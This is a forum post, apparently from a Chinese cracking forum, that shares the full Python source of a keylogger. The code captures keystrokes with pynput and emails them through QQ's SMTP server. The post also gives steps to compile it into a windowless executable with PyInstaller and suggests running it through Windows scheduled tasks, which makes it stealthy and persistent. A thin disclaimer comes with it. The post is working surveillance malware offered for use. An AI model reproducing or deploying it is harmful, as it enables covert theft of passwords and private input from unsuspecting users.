好友
阅读权限10
听众
最后登录1970-1-1
|
本帖最后由 woaipojiejiejie 于 2024-2-27 00:57 编辑
可以记录键盘键入的键位,并且发送给特定邮箱
本人要出借电脑给别人,为了防一手就想记录键盘行为,然后写到一半突然发现可以写一个键盘监听软件出来,所以就搞了个这个出来
免责声明:用于非法行为本人无关
效果展示,enter或者鼠标点击时,并且记录长度大于10(可以自行修改long变量来修改记录长度)时触发发送邮件
使用方法
第一步:
将代码中的email变量填入自己的qq邮箱
然后password填入授权码,授权码获取如下列图片
第二步:
然后python启动
下列代码打包成.py文件
[Asm] 纯文本查看 复制代码 import smtplib
import pynput
from pynput.keyboard import Key, Listener
from pynput import keyboard, mouse
from email.mime.text import MIMEText
email = ""
password = ""
server = smtplib.SMTP("smtp.qq.com", 587)
server.ehlo()
server.starttls()
server.login(email, password)
message =""
name="52pj\n"
long=10
def on_mouse_click(x, y, button, pressed):
global message
global long
if pressed:
if len(message) >= long:
send()
message = ""
def on_keyboard_press(key):
global message
global long
global name
temp = f"{key}"
if temp[0] == '\'':
temp = temp[1:-1]
else:
temp=" "+temp+" "
if key == Key.enter:
if len(message) >= long:
send()
message =""
elif key == Key.backspace:
message=message[:-1]
elif len(temp)==1:
message+=temp
def send():
msg = MIMEText(name + message)
msg["From"] = email
msg["To"] = email
msg["Subject"] = name
server.sendmail(
email,
email,
msg.as_string()
)
keyboard_listener = keyboard.Listener(on_press=on_keyboard_press)
mouse_listener = mouse.Listener(on_click=on_mouse_click)
keyboard_listener.start()
mouse_listener.start()
keyboard_listener.join()
mouse_listener.join()
记得pip install 依赖包
第三步:
然后pip install pyinstaller
在cd到之前.py的文件夹
执行Pyinstaller -F -w keylogger.py(你自己取的名字)
就可以在dist文件夹找到.exe文件,就可以运行了
之后可以自己配合windows计划任务食用更佳
|
免费评分
-
查看全部评分
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|